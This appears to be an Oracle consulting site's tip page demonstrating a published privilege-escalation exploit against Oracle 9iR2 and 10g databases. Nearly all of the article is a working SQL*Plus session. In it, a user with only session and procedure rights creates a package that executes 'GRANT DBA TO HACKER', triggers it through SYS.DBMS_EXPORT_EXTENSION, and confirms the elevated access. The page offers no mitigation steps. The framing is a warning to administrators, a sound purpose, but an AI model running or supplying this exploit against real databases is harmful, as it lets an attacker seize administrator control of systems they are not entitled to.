Call now: 252-767-6166  
Oracle Training Oracle Support Development Oracle Apps

 
 Home
 E-mail Us
 Oracle Articles
New Oracle Articles


 Oracle Training
 Oracle Tips

 Oracle Forum
 Class Catalog


 Remote DBA
 Oracle Tuning
 Emergency 911
 RAC Support
 Apps Support
 Analysis
 Design
 Implementation
 Oracle Support


 SQL Tuning
 Security

 Oracle UNIX
 Oracle Linux
 Monitoring
 Remote s
upport
 Remote plans
 Remote
services
 Application Server

 Applications
 Oracle Forms
 Oracle Portal
 App Upgrades
 SQL Server
 Oracle Concepts
 Software Support

 Remote S
upport  
 Development  

 Implementation


 Consulting Staff
 Consulting Prices
 Help Wanted!

 


 Oracle Posters
 Oracle Books

 Oracle Scripts
 Ion
 Excel-DB  

Don Burleson Blog 


 

 

 


 

 

 

 

 

Oracle exploit vulnerability allows privilege escalation

Oracle Tips by
Mike Ault

This Oracle privilege vulnerability was announced to nationwide fanfare, with major alert by Symantec and CERT, and there has been terror about a sample attack code release.

This exploit code was published Wednesday, only a day after Oracle released its quarterly Critical Patch Update, security provider Symantec noted.

This vulnerability is only applicable to internal databases since you must possess a valid Oracle user ID in-order to perform this exploit.  Because you must have an Oracle ID, this exploit is a not a threat for attacks over the web.

This example of the Oracle exploit also works in 9iR2, just like 10gR1 and 10gR2, just to demonstrate:

-- Login as SYSTEM

SQL> connect system/password
Connected.


-- now let's create our HACKER user with "minimal privileges"

SQL> create user hacker identified by hacker;

User created.

SQL> grant create session, create procedure to hacker;

Grant succeeded.


-- Let's connect and do the deed...

SQL> connect hacker/hacker
Connected.
SQL> CREATE OR REPLACE
  2  PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
  3  IS
  4  FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
  5  VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
  6  RETURN NUMBER;
  7  END;
  8  /

Package created.

SQL> CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
  2  IS
  3  FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
  4  VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
  5  RETURN NUMBER
  6  IS
  7  pragma autonomous_transaction;
  8  BEGIN
  9  EXECUTE IMMEDIATE 'GRANT DBA TO HACKER';
 10  COMMIT;
 11  RETURN(1);
 12  END;
 13 
 14  END;
 15  /

Package body created.

SQL> DECLARE
  2  INDEX_NAME VARCHAR2(200);
  3  INDEX_SCHEMA VARCHAR2(200);
  4  TYPE_NAME VARCHAR2(200);
  5  TYPE_SCHEMA VARCHAR2(200);
  6  VERSION VARCHAR2(200);
  7  NEWBLOCK PLS_INTEGER;
  8  GMFLAGS NUMBER;
  9  v_Return VARCHAR2(200);
 10  BEGIN
 11  INDEX_NAME := 'A1'; INDEX_SCHEMA := 'HACKER';
 12  TYPE_NAME := 'MYBADPACKAGE'; TYPE_SCHEMA := 'HACKER';
 13  VERSION := '10.2.0.2.0'; GMFLAGS := 1;
 14 
 15  v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
 16  INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
 17  => TYPE_NAME,
 18  TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
 19  NEWBLOCK, GMFLAGS => GMFLAGS
 20  );
 21  END;
 22  /

PL/SQL procedure successfully completed.


---  We don't have it yet, until we re-logon

SQL> select * from v$instance;
select * from v$instance
              *
ERROR at line 1:
ORA-00942: table or view does not exist


--now re-logon to acquire grant

SQL> connect hacker/hacker
Connected.
SQL> /

INSTANCE_NUMBER INSTANCE_NAME
--------------- ----------------
HOST_NAME
----------------------------------------------------------------
VERSION           STARTUP_T STATUS       PAR    THREAD# ARCHIVE LOG_SWITCH_
----------------- --------- ------------ --- ---------- ------- -----------
LOGINS     SHU DATABASE_STATUS   INSTANCE_ROLE      ACTIVE_ST
---------- --- ----------------- ------------------ ---------
              1 aultdb2
MRALAPTOP2
9.2.0.5.0         17-APR-06 OPEN         NO           1 STARTED
ALLOWED    NO  ACTIVE            PRIMARY_INSTANCE   NORMAL


SQL>



Scared yet?

 


 

 

��  
 
 
Oracle Training at Sea
 
 
 
 
oracle dba poster
 

 
Follow us on Twitter 
 
Oracle performance tuning software 
 
Oracle Linux poster
 
 
 

 

Burleson is the American Team

Note: This Oracle documentation was created as a support and Oracle training reference for use by our DBA performance tuning consulting professionals.  Feel free to ask questions on our Oracle forum.

Verify experience! Anyone considering using the services of an Oracle support expert should independently investigate their credentials and experience, and not rely on advertisements and self-proclaimed expertise. All legitimate Oracle experts publish their Oracle qualifications.

Errata?  Oracle technology is changing and we strive to update our BC Oracle support information.  If you find an error or have a suggestion for improving our content, we would appreciate your feedback.  Just  e-mail:  

and include the URL for the page.


                    









Burleson Consulting

The Oracle of Database Support

Oracle Performance Tuning

Remote DBA Services


 

Copyright © 1996 -  2020

All rights reserved by Burleson

Oracle ® is the registered trademark of Oracle Corporation.